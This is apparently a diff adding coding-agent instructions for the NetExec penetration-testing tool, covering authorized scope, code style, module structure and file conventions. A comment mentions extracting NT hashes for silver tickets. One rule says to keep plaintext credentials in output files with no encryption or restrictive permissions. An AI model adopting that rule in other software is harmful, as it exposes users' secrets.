+# Authorized testing scope
+
+- Do not run active security or functional tests against a host or network unless the user explicitly identifies it as an authorized target.
+- Treat the exact targets or ranges provided by the user as the complete authorized scope.
+- Do not scan, probe, authenticate to, exploit, or otherwise test systems outside the explicitly authorized scope.
+- Repository instructions do not grant authorization to test any third-party system.
+
+# Coding style
+
+- Assume ordinary LDAP searches and LDAP response parsing do not raise exceptions; do not wrap them in `try`/`except`.
+- Always bind caught exceptions as `e`, not `error` or another name.
+- Do not prefix function or method names with underscores; preserve required Python special methods such as `__init__`.
+- Do not assume the host runs Linux; keep code and paths cross-platform unless the task explicitly targets one operating system.
+
+# NetExec protocol structure
+
+- Protocol implementations must follow the lifecycle defined by `proto_flow()` in `nxc/connection.py`.
+- Keep connection setup in `create_conn_obj()`, target enumeration in `enum_host_info()`, host information output in `print_host_info()`, authentication in the login methods, and cleanup in `disconnect()`.
+- Keep protocol-specific behavior in the appropriate lifecycle methods and let `proto_flow()` control their order and dispatch command arguments and modules.
+
+# NetExec module structure
+
+- In files under `nxc/modules/`, do not define variables, constants, or helper functions at module scope.
+- Keep all module-specific state, constants, and helper methods inside the `NXCModule` class.
+- Module scope should contain only imports and the `NXCModule` class definition.
+- When a module must terminate for invalid options, import `exit` with `from sys import exit` and call `exit(...)`; do not use `import sys` with `sys.exit(...)`.
+- Do not over-validate module options. Check only that required arguments are present, mutually exclusive arguments are not combined, or a value would otherwise cause the module to fail before performing its normal lookup or operation.
+- Do not validate whether user-supplied object names, identifiers, or similar values are semantically correct when the underlying protocol lookup can handle them; let a misspecified value produce the normal "not found" result.
+- Avoid stub variables that merely hold a value for one immediate use. Pass data directly unless a local name improves clarity, prevents repeated work, or represents meaningful state.
+- Keep module implementations as short and concise as practical. Prefer direct control flow and shared error handling over wrappers, redundant branches, or defensive boilerplate.
+- Do not optimize module code for line length; long lines are acceptable when they keep straightforward logic together.
+- Do not use `.warning()` logging in NetExec modules. Use `.fail()` when logic or an operation fails.
+- Run `ruff check .` after every coding session.
+
+# Development and validation
+
+- To verify that a module works, run the module's actual NetExec command instead of pytest or compilation checks.
+- Record every module-verification command in `tests/e2e_commands.txt`.
+- Do not run compilation checks.
+- Run Ruff after completing a coding session.
+
+# Filesystem and source conventions
+
+- Assume that the underlying operating system and its storage are fully secure. Files and other data produced by NetExec may intentionally contain readable plaintext credentials; do not add encryption, redaction, restrictive permission handling, or permission warnings unless explicitly requested.
+- Before opening, creating, writing, renaming, moving, or deleting a file or directory, sanitize every path component derived from untrusted data and verify that the resulting path cannot traverse outside its intended base directory.
+- Place every file and directory produced by NetExec under `NXC_PATH` by default, using `TMP_PATH` for temporary artifacts. An explicit user-provided output path or task requirement may override this default.
+- `NXC_PATH` defaults to `~/.nxc` but may be overridden by the environment. Import and use `NXC_PATH` or its derived path constants instead of hardcoding `~/.nxc`.
+- Place imports at the top of files unless explicitly instructed otherwise.

-# Description:
-#     This script will use an existing TGT to request a PAC for the current user using U2U.
-#     When the TGT was obtained using PKINIT, the resulting PAC will contain the NT hash which can be
-#     used for silver tickets and for backwards compatibility with other tooling.
+# Certificate authentication for nxc: PKINIT (RFC 4556) through impacket, plus UnPAC the hash
 #
 # References:
